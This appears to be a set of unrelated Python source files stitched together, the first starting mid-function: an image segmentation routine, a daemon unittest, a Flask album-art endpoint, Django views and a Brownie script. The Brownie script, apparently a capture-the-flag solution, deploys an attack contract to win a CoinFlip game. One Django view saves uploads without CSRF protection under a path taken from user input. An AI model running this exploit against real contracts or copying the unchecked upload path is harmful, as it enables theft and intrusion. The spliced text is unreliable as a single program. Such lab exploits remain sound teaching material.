            if img[i][k] <= region_mean + threshold: #pick new seed
           #     print("found", i,k)
                classified_pixels.append([i,k])
                return [i,k]
 #   print("no neww seed")
    return [-1,-1]

def region_growing(img, seed, threshold, connectivity):
    img_height, img_width = img.shape
    segmented_image = img.copy()

    segmented_image = np.zeros((img_width,img_height), dtype=img.dtype)
    segmented_image = [[element + 255 for element in sub_im] for sub_im in segmented_image]

  #  print(segmented_image)

    seed_quantity = len(seed)
    flags = [1] * seed_quantity # these flags will hold the info about "whether the seed continue growing or it stopped"
    region_means = [0] * seed_quantity # region mean for each region (different region for each seed)
    region_sizes = [1] * seed_quantity # region size for each region (different region for each seed)
    label_list = [0] * seed_quantity # different label for each seed this list will be updated before growing starts
    classified_pixels = [] # we shouldn't visite a neighbor pixel already classified in a region
    visited_pixels_intensities_dif = [] # it wil keep intensity values of each neighbor pixel. After "minimmum" comparison, it well be cleared for the next tour

    print("seed quantity",seed_quantity)
    print("seeds",seed)
    print("flags",flags)
    print("im w im h")
    print(img_width, img_height)

    """ check if connectivity parameter is compatible"""

    if connectivity == 4:
        neighbor_pixels = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    elif connectivity == 8:
        neighbor_pixels = [(-1, -1),(-1, 0), (-1, 1), (1, -1), (1, 0), (1, 1),(0, -1), (0, 1)]
    else:
        raise ValueError("Invalid connectivity choice! put 4 for 4-connectivity and 8 for 8-connectivity")

    """ check if seed parameter is compatible"""

    label = 0
    for i in range(seed_quantity):
        if seed[i][0] < img_width  and seed[i][1] < img_height: # if the seed is compatible, initialize the necesseary parts for that seed
            classified_pixels.append(seed[i].copy()) # we should keep the track list about the pixels to see if they are already visited or not
            label_list[i] = label
            segmented_image[seed[i][0]][seed[i][1]] = label #each seed has a unique label so we can keep the different regions via this labels
            label += 20 # change the label for next seed
            region_means[i] = img[seed[i][1]][seed[i][0]]  #initialize region means with only seed intensities,
            pass
        else:
             raise ValueError("Invalid seed selection, seed coordinates can't be out of image borders")

    while len(classified_pixels) < img_height * img_width and 1 in flags:
        for k in range(seed_quantity):
            if flags[k] == 0:
                continue
            for i in range(connectivity):
                tmpx_visited = seed[k][0] + neighbor_pixels[i][0]
                tmpy_visited = seed[k][1] + neighbor_pixels[i][1]

                if [tmpx_visited,tmpy_visited] in classified_pixels:
                    continue

                if tmpx_visited < img_width and tmpx_visited >= 0 and tmpy_visited < img_height and tmpy_visited >= 0:
                    x_visited = tmpx_visited
                    y_visited = tmpy_visited
                    classified_pixels.append([seed[k][0] + neighbor_pixels[i][0],seed[k][1] + neighbor_pixels[i][1]])
                    if abs(img[y_visited][x_visited] - region_means[k]) <= threshold:
                         segmented_image[seed[k][1] + neighbor_pixels[i][1]][seed[k][0] + neighbor_pixels[i][0]]  = label_list[k]
                         region_means[k] = (region_sizes[k] * region_means[k] + img[y_visited][x_visited] ) / (region_sizes[k] + 1)
                         region_sizes[k] += 1
                         last_x_accepted = seed[k][0] + neighbor_pixels[i][0]
                         last_y_accepted = seed[k][1] + neighbor_pixels[i][1]

            if seed[k][0] == last_x_accepted and seed[k][1] == last_y_accepted:
                    new_seed = search_new_seed(classified_pixels,last_x_accepted, last_y_accepted,img, region_means[k],threshold)
                    if new_seed == [-1,-1]:
                        flags[k] = 0 #that seed cant grow anymore
                    else:
                        seed[k][0] = new_seed[0]
                        seed[k][1] = new_seed[1]
            else:
                seed[k][0] = last_x_accepted
                seed[k][1] = last_y_accepted

  #       print(segmented_image)
  #       print("last seed was:", seed[k][0], seed[k][1])
    return segmented_image

img = np.array([[1, 10, 10, 20, 50, 10, 50, 10],
                [50, 1, 1, 1, 1, 1, 1, 10],
                [20, 1, 1, 1, 1, 1, 1, 40],
                [30, 1, 1, 0, 0, 1, 1, 50],
                [40, 1, 1, 0, 0, 1, 1, 20],
                [100, 1, 1, 1, 1, 1, 1, 30],
                [10, 1, 1, 1, 1, 1, 1, 10],
                [10, 100, 250, 250, 220, 200, 20, 10]])
print(img)
output = region_growing(img, [[1,1],[7,7]] ,5, 4)
print(output)

img2 = cv2.imread("bi2.jpg", 0)
img2 = cv2.resize(img2, (125,125))

output = region_growing(img2, [[60,60]] ,10, 8)
cv2.imshow("Segmented  Image", np.array(output, dtype=img2.dtype))
cv2.waitKey(0)
cv2.destroyAllWindows()


import unittest2
import os
import tempfile

import top
from top.utils.files import (copy_file,
                             remove_files,
                             get_directory_files_list)

class TestExporterDaemon(unittest2.TestCase):

    @classmethod
    def setUpClass(cls):
        cls._ed = top.ExporterDaemon(pidfile=None)
        cls._ed.set_business_units({'priority': 1, 'fast': 2, 'ipec': 3})
        cls._ed._config = top.ExporterB2CConfig()
        cls._ed._config.set_cond({'tolp': '000100000000010110',
                                  'tolf': '000101100000010110',
                                  'toli': '100010000000010110'})
        cls._ed._config.set_file_bu({'tolp': 1,
                                     'tolf': 2,
                                     'tolf_nsw': 2,
                                     'tolf_vic': 2,
                                     'tolf_qld': 2,
                                     'tolf_sa': 2,
                                     'tolf_wa': 2,
                                     'tolf_act': 2,
                                     'toli': 3})

        # Signature dir.
        cls._signature_dir = tempfile.mkdtemp()
        cls._ed._config.set_signature_dir(cls._signature_dir)
        cls._sig_files = ['1.ps', '1.png', '5.ps', '5.png']
        for f in cls._sig_files:
            fh = open(os.path.join(cls._signature_dir, f), 'w')
            fh.close()

        # Exporter file closure dirs.
        cls._exporter_dir = tempfile.mkdtemp()
        cls._ed._config.set_exporter_dirs([cls._exporter_dir])
        cls._ed._config.set_exporter_file_formats(['.*_RE[PIF]_\d{14}\.txt$'])

        # Staging base.
        cls._staging_dir = tempfile.mkdtemp()
        cls._ed._config.set_staging_base(cls._staging_dir)

        # Archive directory.
        cls._archive_dir = tempfile.mkdtemp()
        cls._ed._config.set_archive_dir(cls._archive_dir)

        cls._ed.emailer.set_template_base(os.path.join('top', 'templates'))

        # Call up front to pre-load the DB.
        cls._ed._exporter = top.Exporter(**(cls._ed.exporter_kwargs))
        cls._ed.set_exporter_fields({'tolp': '0,1,2,3,4,5,6',
                                     'tolf': '0,1,2,3,4,5,6',
                                     'toli': '0,1,2,3,4,5,6,7'})

        db = cls._ed._exporter.db
        fixture_dir = os.path.join('top', 'tests', 'fixtures')
        fixtures = [{'db': db.agent, 'fixture': 'agents.py'},
                    {'db': db.identity_type,
                     'fixture': 'identity_type.py'},
                    {'db': db.job, 'fixture': 'jobs.py'},
                    {'db': db.jobitem, 'fixture': 'jobitems.py'}]
        for i in fixtures:
            fixture_file = os.path.join(fixture_dir, i['fixture'])
            db.load_fixture(i['db'], fixture_file)

        db.commit()

    def test_init(self):
        """Intialise a ExporterDaemon object.
        """
        msg = 'Not a top.ExporterDaemon object'
        self.assertIsInstance(self._ed, top.ExporterDaemon, msg)

    def test_start(self):
        """Start dry loop.
        """
        old_dry = self._ed.dry

        self._ed.set_dry()
        self._ed._start(self._ed.exit_event)

        # Clean up.
        self._ed.set_dry(old_dry)
        self._ed.exit_event.clear()

    def test_start_non_dry(self):
        """Start non-dry loop.
        """
        dry = False

        old_dry = self._ed.dry
        old_batch = self._ed.batch
        old_support_emails = list(self._ed.support_emails)

        test_file_dir = os.path.join('top', 'tests', 'files')
        file = 'VIC_VANA_REP_20140214120000.txt'
        copy_file(os.path.join(test_file_dir, file),
                  os.path.join(self._exporter_dir, file))

        # Start processing.
        self._ed.set_dry(dry)
        self._ed.set_batch()
        # Add valid email address here if you want to verify support comms.
        self._ed.set_support_emails(None)
        self._ed._start(self._ed.exit_event)

        # Clean up.
        self._ed.set_support_emails(old_support_emails)
        self._ed.set_dry(old_dry)
        self._ed.set_batch(old_batch)
        self._ed.exit_event.clear()

    @classmethod
    def tearDownClass(cls):
        del cls._ed
        # Hardwired for now until we can think of a better way ...
        sig_dir_1 = os.path.join(cls._archive_dir,
                                 'signature',
                                 'c4',
                                 'c4ca',
                                 'c4ca42',
                                 'c4ca4238')
        remove_files(get_directory_files_list(sig_dir_1))
        sig_dir_5 = os.path.join(cls._archive_dir,
                                 'signature',
                                 'e4',
                                 'e4da',
                                 'e4da3b',
                                 'e4da3b7f')
        remove_files(get_directory_files_list(sig_dir_5))
        os.removedirs(sig_dir_1)
        os.removedirs(sig_dir_5)
        os.removedirs(cls._exporter_dir)
        for dir in ['priority', 'fast', 'ipec']:
            out_dir = os.path.join(cls._staging_dir, dir, 'out')
            remove_files(get_directory_files_list(out_dir))
            os.removedirs(out_dir)


from flask import Flask
from flask import jsonify
from flask import send_file
from flask_cors import CORS
from PIL import Image, ImageFilter, ImageDraw, ImageFont
import glob, os
import random
import logging
import PIL
import base64
from io import BytesIO

app = Flask(__name__)

CORS(app)

def drawText(image, text, coordinates):
    draw = ImageDraw.Draw(image)
    color = 'rgb(0, 0, 0)'

    draw.text((coordinates[0], coordinates[1]), text, fill=color)

@app.route('/generate', methods=['GET'])
def generate():
    BAND_NAMES = ['Porkchop Water', 'The Beets', 'Cooper and the Footies', 'Maggie Misdemeaner Elliot']
    ALBUM_TITLES = ['Arghhh', 'I have something stuck in my throat', 'Is this real life']
    IMAGE_ANGLES = [45, 90, 180, 360]
    IMAGE_FILTERS = [
        ImageFilter.BLUR,
        ImageFilter.CONTOUR,
        ImageFilter.DETAIL,
        ImageFilter.EDGE_ENHANCE,
        ImageFilter.EDGE_ENHANCE_MORE,
        ImageFilter.EMBOSS,
        ImageFilter.FIND_EDGES,
        ImageFilter.SHARPEN,
        ImageFilter.SMOOTH,
        ImageFilter.SMOOTH_MORE
    ]
    processed_images = []
    index = 0
    images = glob.glob('./assets/album_art/*')
    random_image = random.choice(images)

    current_image = Image.open(random_image)

    resized_image = current_image.resize((300, 350), PIL.Image.ANTIALIAS)

    album_title = random.choice(ALBUM_TITLES)
    band_name = random.choice(BAND_NAMES)

    (x, y, r, b) = resized_image.getbbox();
    SPACING = len(album_title) * 8

    drawText(resized_image, album_title, (r - SPACING, b - SPACING))
    drawText(resized_image, band_name, (100, 100))

    resized_image.rotate(random.choice(IMAGE_ANGLES))
    resized_image.filter(random.choice(IMAGE_FILTERS))

    album_name = 'album_art-' + str(index);

    buffered = BytesIO()
    resized_image.save(buffered, 'png', optimize=True)

    return base64.b64encode(buffered.getvalue())

if __name__ == '__main__':
    app.run()


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
from math import sin, cos, sqrt, atan2, radians

from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from django.views.decorators.csrf import csrf_exempt
from django.core.files.storage import FileSystemStorage
from django.conf import settings
from django.http import JsonResponse
from rest_framework import viewsets

from general.models import *
from general.serializers import *

from rest_framework.decorators import detail_route
from rest_framework.response import Response

def index(request):
    players = []
    locations = []

    if request.method == 'POST':
        center = request.POST.get('center')
        zoom = request.POST.get('zoom')
        lats = [float(ii) for ii in request.POST.get('lats').split(', ')]
        lngs = [float(ii) for ii in request.POST.get('lngs').split(', ')]

        if request.user.is_authenticated() and request.user.home_field:
            players = get_players_in_range(Player.objects.all(), request.user.home_field)

        for loc in Location.objects.all().order_by('name'):
            if lats[0] <= loc.lat <= lats[1] and lngs[0] <= loc.lng <= lngs[1]:
                locations.append(loc)
    else:
        center = '38.60909, -121.3768'
        zoom = 11

    return render(request, 'index.html', {
        'players': players,
        'locations': locations,
        'center': center,
        'zoom': zoom
    })

@login_required(login_url='/')
def profile(request):
    games = GameEvent.objects.filter(datetime__gte=datetime.datetime.now(), players__in=[request.user]).order_by('datetime')
    locations = Location.objects.all().order_by('name')

    players = []
    if request.user.home_field:
        players = get_players_in_range(Player.objects.all(), request.user.home_field)

    return render(request, 'profile.html', {
        'games': games,
        'players': players,
        'num_players': Player.objects.all().count(),
        'locations': locations
    })

def location(request, id):
    location = Location.objects.get(id=id)
    games = location.events.filter(datetime__gte=datetime.datetime.now()) \
                           .order_by('datetime')

    players = get_players_in_range(Player.objects.all(), location)

    return render(request, 'location.html', {
        'games': games,
        'location': location,
        'players': players,
    })

def game(request, id):
    game = GameEvent.objects.get(id=id)

    return render(request, 'game.html', {
        'game': game,
        'players': Player.objects.all(),
    })

def accept_invitation(request, code):
    try:
        gi = GameInvitation.objects.get(code=code)
        gi.is_accepted = True
        gi.save()
        next = '/game/{}'.format(gi.game.id)
    except Exception as e:
        next = '/'

    return redirect(next)

class LocationViewSet(viewsets.ModelViewSet):
    queryset = Location.objects.all()
    serializer_class = LocationSerializer

    def perform_create(self, serializer):
        serializer.save(created_by=self.request.user)

class GameEventViewSet(viewsets.ModelViewSet):
    queryset = GameEvent.objects.all()
    serializer_class = GameEventSerializer

    def perform_create(self, serializer):
        serializer.save(created_by=self.request.user)

    @detail_route(methods=['POST'])
    def join_game(self, request, *args, **kwargs):
        game = self.get_object()
        game.players.add(request.user)
        game.save()
        GameInvitation.objects.create(game=game, player=request.user, is_accepted=True, code="***")
        return Response(status=200)

    @detail_route(methods=['POST'])
    def leave_game(self, request, *args, **kwargs):
        game = self.get_object()
        game.players.remove(request.user)
        game.save()
        GameInvitation.objects.filter(game=game, player=request.user).delete()
        return Response(status=200)

@csrf_exempt
def upload_image(request):
    myfile = request.FILES['images']
    _type = request.POST.get('type', '')
    if _type:
        _type = _type + '/'

    fs = FileSystemStorage()
    filename = fs.save(_type+myfile.name, myfile)
    uploaded_file_url = fs.url(filename)
    res = {"image_url": uploaded_file_url,"image_name": uploaded_file_url.split('/')[-1]}
    return JsonResponse(res, safe=False)

def calc_distance(lat1, lon1, lat2, lon2):
    if lat1 and lon1 and lat2 and lon2:
        radius = 6371  # km

        dlat = radians(lat2 - lat1)
        dlon = radians(lon2 - lon1)
        a = (sin(dlat / 2) * sin(dlat / 2) +
             cos(radians(lat1)) * cos(radians(lat2)) *
             sin(dlon / 2) * sin(dlon / 2))
        c = 2 * atan2(sqrt(a), sqrt(1 - a))
        d = radius * c
        return d
    return settings.RANGE_RADIUS * 10

def get_players_in_range(players, loc):
    players_ = []
    for player in players:
        if player.home_field:
            if calc_distance(loc.lat, loc.lng, player.home_field.lat, player.home_field.lng) < settings.RANGE_RADIUS:
                players_.append(player)
    return players_


#!/usr/bin/python3
from brownie import interface, Attack
from scripts.deploy import deploy
from scripts.helpful_scripts import get_account
from colorama import Fore

# * colours
green = Fore.GREEN
red = Fore.RED
blue = Fore.BLUE
magenta = Fore.MAGENTA
reset = Fore.RESET

# * Rinkeby address : 0xFD7a732ca213EF549696c875c2A33b400a7B5609

FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968

def guessFlip(contract_address=None, attacker=None):
    # ? getting the contract
    if not contract_address:
        # from web3 import Web3

        # w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:8545"))
        coinflip_contract, owner = deploy()
        contract_address = coinflip_contract.address
        # ? Geeting the accounst for local testing
        _, attacker = get_account()
    else:
        # from web3.auto.infura import w3

        coinflip_contract = interface.CoinFlip(contract_address)

    coinflip_attack = Attack.deploy(coinflip_contract, {"from": attacker})
    print(
        f"{green}Attacking contract deployed at: {magenta}{coinflip_attack.address}{reset}"
    )
    print(f"{red}Let's win this game!!{reset}")
    for _ in range(10):
        tx = coinflip_attack.attack(
            {"from": attacker, "gas_limit": 100000, "allow_revert": True}
        )
        tx.wait(1)
        # print(f"Current Win Streak: {coinflip_contract.consecutiveWins()}")
    print(f"{green}Final Win Streak: {red}{coinflip_contract.consecutiveWins()}{reset}")
    coinflip_attack.selfDestruct({"from": attacker})

    """
    print(contract_address)
    # ? variables
    block_num = w3.eth.block_number
    block_value = w3.eth.get_block(block_num - 1)["hash"].hex()
    # print(block_num)
    print(block_value)

    #! for local testing
    block_value = w3.eth.get_transaction_by_block(block_num - 1, 0)
    block_value = "0xFD7A732CA213EF549696C875C2A33B400A7B5609"
    block_value = w3.eth.get_block(block_num - 1)
    block_value = w3.eth.get_transaction_by_block(block_num - 1, 0)["blockHash"].hex()

    print(block_value)
    print(w3.eth.get_block(block_num - 1)
    exit(1)

    coin_flip = int(int(block_value, 0) / FACTOR)
    side = (lambda: True, lambda: False)[coin_flip == 1]()
    print(coin_flip)
    print(side)
    exit(3)
    """

def main(contract_address=None):
    if contract_address:
        guessFlip(contract_address, get_account())
    else:
        guessFlip()